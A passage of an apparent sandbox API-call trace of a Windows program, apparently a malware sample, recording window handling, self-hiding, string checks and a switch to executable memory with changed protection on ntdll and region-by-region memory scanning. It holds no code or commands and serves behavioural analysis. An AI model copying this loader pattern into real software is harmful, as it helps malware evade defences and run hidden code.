hWnd=0x102ce, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0101.230] GetWindow (hWnd=0x102ce, uCmd=0x2) returned 0x0 [0101.230] GetParent (hWnd=0x102ce) returned 0x102be [0101.230] IsWindowEnabled (hWnd=0x102be) returned 1 [0101.230] PostMessageA (hWnd=0x102be, Msg=0x100e, wParam=0xa, lParam=0x0) returned 1 [0101.230] IsIconic (hWnd=0x102be) returned 0 [0101.230] PostMessageA (hWnd=0x102c0, Msg=0x100e, wParam=0x4, lParam=0x0) returned 1 [0101.230] PostMessageA (hWnd=0x102c0, Msg=0x100e, wParam=0x0, lParam=0x0) returned 1 [0101.230] PostMessageA (hWnd=0x102be, Msg=0x105a, wParam=0x0, lParam=0x0) returned 1 [0101.231] GetCapture () returned 0x0 [0101.231] GetCapture () returned 0x0 [0101.231] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.232] GetCapture () returned 0x0 [0101.232] GetCapture () returned 0x0 [0101.232] IsIconic (hWnd=0x102be) returned 0 [0101.232] IsIconic (hWnd=0x102be) returned 0 [0101.232] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.233] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.233] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.233] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.233] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.234] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.234] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.234] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c6, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.234] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.234] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c8, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.235] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.235] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ca, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.235] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.235] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102cc, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.235] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0101.236] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102ce, Msg=0x14, wParam=0x170101d2, lParam=0x0) returned 0x1 [0101.236] GetCapture () returned 0x0 [0101.236] GetCapture () returned 0x0 [0101.236] GetParent (hWnd=0x102be) returned 0x0 [0101.236] GetWindowRect (in: hWnd=0x102be, lpRect=0x18f764 | out: lpRect=0x18f764) returned 1 [0101.236] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x47, wParam=0x0, lParam=0x18fb3c) returned 0x0 [0101.236] GetWindowLongA (hWnd=0x102be, nIndex=-16) returned 382664704 [0101.236] GetClientRect (in: hWnd=0x102be, lpRect=0x18f7d4 | out: lpRect=0x18f7d4) returned 1 [0101.236] MapWindowPoints (in: hWndFrom=0x102be, hWndTo=0x0, lpPoints=0x18f7d4, cPoints=0x2 | out: lpPoints=0x18f7d4) returned 10158213 [0101.237] GetCapture () returned 0x0 [0101.238] GetCapture () returned 0x0 [0101.238] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x83, wParam=0x1, lParam=0x18f720) returned 0x0 [0101.239] GetCapture () returned 0x0 [0101.239] GetCapture () returned 0x0 [0101.239] IsWindowVisible (hWnd=0x102be) returned 1 [0101.239] IsIconic (hWnd=0x102be) returned 0 [0101.239] IsZoomed (hWnd=0x102be) returned 0 [0101.239] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x5, wParam=0x0, lParam=0x17000f5) returned 0x0 [0101.239] GetClientRect (in: hWnd=0x102be, lpRect=0x18f7ac | out: lpRect=0x18f7ac) returned 1 [0101.239] GetWindow (hWnd=0x102be, uCmd=0x5) returned 0x102c0 [0101.239] GetWindow (hWnd=0x102c0, uCmd=0x2) returned 0x102c2 [0101.239] GetParent (hWnd=0x102c0) returned 0x102be [0101.239] GetWindow (hWnd=0x102c2, uCmd=0x2) returned 0x102c4 [0101.239] GetParent (hWnd=0x102c2) returned 0x102be [0101.239] GetWindow (hWnd=0x102c4, uCmd=0x2) returned 0x102c6 [0101.239] GetParent (hWnd=0x102c4) returned 0x102be [0101.239] GetWindow (hWnd=0x102c6, uCmd=0x2) returned 0x102c8 [0101.239] GetParent (hWnd=0x102c6) returned 0x102be [0101.239] GetWindow (hWnd=0x102c8, uCmd=0x2) returned 0x102ca [0101.239] GetParent (hWnd=0x102c8) returned 0x102be [0101.240] GetWindow (hWnd=0x102ca, uCmd=0x2) returned 0x102cc [0101.240] GetParent (hWnd=0x102ca) returned 0x102be [0101.240] GetWindow (hWnd=0x102cc, uCmd=0x2) returned 0x102ce [0101.240] GetParent (hWnd=0x102cc) returned 0x102be [0101.240] GetWindow (hWnd=0x102ce, uCmd=0x2) returned 0x0 [0101.240] GetParent (hWnd=0x102ce) returned 0x102be [0101.240] GetCapture () returned 0x0 [0101.240] GetCapture () returned 0x0 [0101.240] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x3, wParam=0x0, lParam=0x9b0085) returned 0x0 [0101.240] GetCurrentThreadId () returned 0xd38 [0101.240] PostThreadMessageA (idThread=0xd38, Msg=0x1069, wParam=0x0, lParam=0x0) returned 1 [0101.240] GetCurrentProcessId () returned 0xd34 [0101.240] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x18) returned 0x26c2508 [0101.240] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xc) returned 0x26c3348 [0101.240] PeekMessageA (in: lpMsg=0x18fe58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe58) returned 1 [0101.240] IsWindow (hWnd=0x102be) returned 1 [0101.240] GetWindowLongA (hWnd=0x102be, nIndex=-16) returned 382664704 [0101.241] IsIconic (hWnd=0x102be) returned 0 [0101.241] GetParent (hWnd=0x102be) returned 0x0 [0101.241] TranslateMessage (lpMsg=0x18fe58) returned 0 [0101.241] DispatchMessageA (lpMsg=0x18fe58) returned 0x0 [0101.241] GetCapture () returned 0x0 [0101.241] GetCapture () returned 0x0 [0101.241] PeekMessageA (in: lpMsg=0x18fe58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe58) returned 1 [0101.241] IsWindow (hWnd=0x102c0) returned 1 [0101.241] GetWindowLongA (hWnd=0x102c0, nIndex=-16) returned 1409359876 [0101.241] IsIconic (hWnd=0x102be) returned 0 [0101.241] GetParent (hWnd=0x102c0) returned 0x102be [0101.241] TranslateMessage (lpMsg=0x18fe58) returned 0 [0101.241] DispatchMessageA (lpMsg=0x18fe58) returned 0x0 [0101.241] PeekMessageA (in: lpMsg=0x18fe58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe58) returned 1 [0101.242] IsWindow (hWnd=0x102c0) returned 1 [0101.242] GetWindowLongA (hWnd=0x102c0, nIndex=-16) returned 1409359876 [0101.242] IsIconic (hWnd=0x102be) returned 0 [0101.242] GetParent (hWnd=0x102c0) returned 0x102be [0101.242] TranslateMessage (lpMsg=0x18fe58) returned 0 [0101.242] DispatchMessageA (lpMsg=0x18fe58) returned 0x0 [0101.242] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x1 [0101.242] PeekMessageA (in: lpMsg=0x18fe58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe58) returned 1 [0101.242] IsWindow (hWnd=0x102be) returned 1 [0101.242] GetWindowLongA (hWnd=0x102be, nIndex=-16) returned 382664704 [0101.242] IsIconic (hWnd=0x102be) returned 0 [0101.242] GetParent (hWnd=0x102be) returned 0x0 [0101.242] TranslateMessage (lpMsg=0x18fe58) returned 0 [0101.242] DispatchMessageA (lpMsg=0x18fe58) returned 0x0 [0101.242] GetCapture () returned 0x0 [0101.242] GetCapture () returned 0x0 [0101.242] GetActiveWindow () returned 0x102be [0101.243] GetWindowThreadProcessId (in: hWnd=0x102be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd38 [0101.243] GetFocus () returned 0x102c0 [0101.243] PeekMessageA (in: lpMsg=0x18fe58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe58) returned 1 [0101.243] TranslateMessage (lpMsg=0x18fe58) returned 0 [0101.243] DispatchMessageA (lpMsg=0x18fe58) returned 0x0 [0101.243] PeekMessageA (in: lpMsg=0x18fe58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe58) returned 1 [0101.243] IsWindow (hWnd=0x102be) returned 1 [0101.243] GetWindowLongA (hWnd=0x102be, nIndex=-16) returned 382664704 [0101.243] IsIconic (hWnd=0x102be) returned 0 [0101.243] GetParent (hWnd=0x102be) returned 0x0 [0101.243] TranslateMessage (lpMsg=0x18fe58) returned 0 [0101.243] DispatchMessageA (lpMsg=0x18fe58) [0101.243] GetCapture () returned 0x0 [0101.243] GetCapture () returned 0x0 [0101.244] IsIconic (hWnd=0x102be) returned 0 [0101.244] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc040a64 [0101.244] GetUpdateRgn (hWnd=0x102be, hRgn=0xc040a64, bErase=0) returned 2 [0101.244] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x33040a65 [0101.244] SetRectRgn (hrgn=0x33040a65, left=21, top=133, right=85, bottom=147) returned 1 [0101.244] CombineRgn (hrgnDst=0xc040a64, hrgnSrc1=0xc040a64, hrgnSrc2=0x33040a65, iMode=4) returned 3 [0101.244] SetRectRgn (hrgn=0x33040a65, left=54, top=19, right=854, bottom=571) returned 1 [0101.244] CombineRgn (hrgnDst=0xc040a64, hrgnSrc1=0xc040a64, hrgnSrc2=0x33040a65, iMode=4) returned 3 [0101.244] DeleteObject (ho=0x33040a65) returned 1 [0101.244] DeleteObject (ho=0xc040a64) returned 1 [0101.244] GetUpdateRect (in: hWnd=0x102be, lpRect=0x18fbac, bErase=0 | out: lpRect=0x18fbac) returned 1 [0101.244] BeginPaint (in: hWnd=0x102be, lpPaint=0x18fb50 | out: lpPaint=0x18fb50) returned 0xd010a5b [0101.244] IsIconic (hWnd=0x102be) returned 0 [0101.244] IsIconic (hWnd=0x102be) returned 0 [0101.244] GetClientRect (in: hWnd=0x102be, lpRect=0x18f948 | out: lpRect=0x18f948) returned 1 [0101.244] OleTranslateColor () returned 0x0 [0101.244] OleTranslateColor () returned 0x0 [0101.244] UnrealizeObject (h=0x2100a5f) returned 1 [0101.244] OleTranslateColor () returned 0x0 [0101.244] OleTranslateColor () returned 0x0 [0101.244] SetTextColor (hdc=0xd010a5b, color=0x0) returned 0x0 [0101.244] SetBkColor (hdc=0xd010a5b, color=0xf0f0f0) returned 0xf0f0f0 [0101.245] FillRect (hDC=0xd010a5b, lprc=0x18f948, hbr=0x2100a5f) returned 1 [0101.245] SetTextColor (hdc=0xd010a5b, color=0x0) returned 0x0 [0101.245] SetBkColor (hdc=0xd010a5b, color=0xf0f0f0) returned 0xf0f0f0 [0101.245] EndPaint (hWnd=0x102be, lpPaint=0x18fb50) returned 1 [0101.247] GetUserDefaultLCID () returned 0x409 [0101.247] VarR8FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, pdblOut=0x18f458 | out: pdblOut=0x18f458) returned 0x0 [0101.255] IsWindowVisible (hWnd=0x102be) returned 1 [0101.255] IsIconic (hWnd=0x102be) returned 0 [0101.255] IsZoomed (hWnd=0x102be) returned 0 [0101.255] ShowWindow (hWnd=0x102be, nCmdShow=0) returned 1 [0101.256] GetCapture () returned 0x0 [0101.256] GetCapture () returned 0x0 [0101.256] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0101.256] GetCapture () returned 0x0 [0101.256] GetCapture () returned 0x0 [0101.256] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x46, wParam=0x0, lParam=0x18efec) returned 0x0 [0101.256] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x46, wParam=0x0, lParam=0x18efec) returned 0x0 [0101.257] GetCapture () returned 0x0 [0101.257] GetCapture () returned 0x0 [0101.257] GetParent (hWnd=0x102be) returned 0x0 [0101.257] GetWindowRect (in: hWnd=0x102be, lpRect=0x18ec14 | out: lpRect=0x18ec14) returned 1 [0101.257] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x47, wParam=0x0, lParam=0x18efec) returned 0x0 [0101.257] GetWindowLongA (hWnd=0x102be, nIndex=-16) returned 114229248 [0101.257] GetClientRect (in: hWnd=0x102be, lpRect=0x18ec84 | out: lpRect=0x18ec84) returned 1 [0101.257] MapWindowPoints (in: hWndFrom=0x102be, hWndTo=0x0, lpPoints=0x18ec84, cPoints=0x2 | out: lpPoints=0x18ec84) returned 10158213 [0101.258] VarBstrCmp (bstrLeft="Double", bstrRight="Double", lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.258] VarBstrCmp (bstrLeft="M", bstrRight="M", lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.259] CharUpperBuffW (in: lpsz="f", cchLength=0x2 | out: lpsz="F") returned 0x2 [0101.259] VarCmp (pvarLeft=0x18f3f8, pvarRight=0x18f3c8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.259] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x7) returned 0x26ccb00 [0101.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26ccb00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0101.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26ccb00, cbMultiByte=-1, lpWideCharStr=0x2a1f14, cchWideChar=7 | out: lpWideCharStr="mispro") returned 7 [0101.259] HeapFree (in: hHeap=0x26b0000, dwFlags=0x0, lpMem=0x26ccb00 | out: hHeap=0x26b0000) returned 1 [0101.259] SysStringLen (param_1="bYhgMgqXwPEYNlmjEtcnT83") returned 0x17 [0101.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bYhgMgqXwPEYNlmjEtcnT83", cchWideChar=24, lpMultiByteStr=0x29509c, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bYhgMgqXwPEYNlmjEtcnT83", lpUsedDefaultChar=0x0) returned 24 [0101.260] lstrlenA (lpString="bYhgMgqXwPEYNlmjEtcnT83") returned 23 [0101.260] lstrcmpA (lpString1="bYhgMgqXwPEYNlmjEtcnT83", lpString2="ayahuas") returned 1 [0101.260] HeapFree (in: hHeap=0x26b0000, dwFlags=0x0, lpMem=0x26cc190 | out: hHeap=0x26b0000) returned 1 [0101.260] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x18) returned 0x26c2528 [0101.260] OleTranslateColor () returned 0x0 [0101.260] SetPixelV (hdc=0xd010a5b, x=157, y=1105, color=0x0) returned 0 [0101.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f3e6, cbMultiByte=1, lpWideCharStr=0x18f3d4, cchWideChar=1 | out: lpWideCharStr=" \x18\x18ᚈA\x01") returned 1 [0101.265] VarBstrCmp (bstrLeft=" ", bstrRight=" ", lcid=0x0, dwFlags=0x30001) returned 0x1 [0101.266] IsWindowVisible (hWnd=0x102be) returned 0 [0101.266] ShowWindow (hWnd=0x102be, nCmdShow=0) returned 0 [0101.267] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x18f13c | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0101.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f270, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0101.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f270, cbMultiByte=-1, lpWideCharStr=0x29509c, cchWideChar=20 | out: lpWideCharStr="C:\\Windows\\system32") returned 20 [0101.268] VarCmp (pvarLeft=0x18f410, pvarRight=0x18f3e0, lcid=0x0, dwFlags=0x30001) returned 0x0 [0101.268] GetLocalTime (in: lpSystemTime=0x18f3d0 | out: lpSystemTime=0x18f3d0*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x2, wDay=0xa, wHour=0x0, wMinute=0x32, wSecond=0x32, wMilliseconds=0x3af)) [0101.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f404, cbMultiByte=8, lpWideCharStr=0x2a1eec, cchWideChar=8 | out: lpWideCharStr="00:50:50") returned 8 [0101.310] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x40) returned 0x250000 [0101.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x2569cd*=0x779d1000, NumberOfBytesToProtect=0x2569c5, NewAccessProtection=0x40, OldAccessProtection=0x2569bd | out: BaseAddress=0x2569cd*=0x779d1000, NumberOfBytesToProtect=0x2569c5, OldAccessProtection=0x2569bd*=0x20) returned 0x0 [0101.341] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0101.341] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.341] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x11000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xf000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.341] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x12000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x12000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.341] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x13000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x13000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xd000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x14000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x14000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x15000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x15000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xb000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x16000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x16000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x17000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x17000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x9000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x18000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x18000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x19000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x19000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x7000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x1a000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x1b000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.342] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x1c000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x1d000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x1e000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x1f000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x20000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x20000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x21000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x21000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x22000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x22000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x23000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x23000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x24000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x24000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x25000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x25000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x26000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x26000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x27000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x27000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x28000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x28000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x29000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x29000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.343] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2a000, 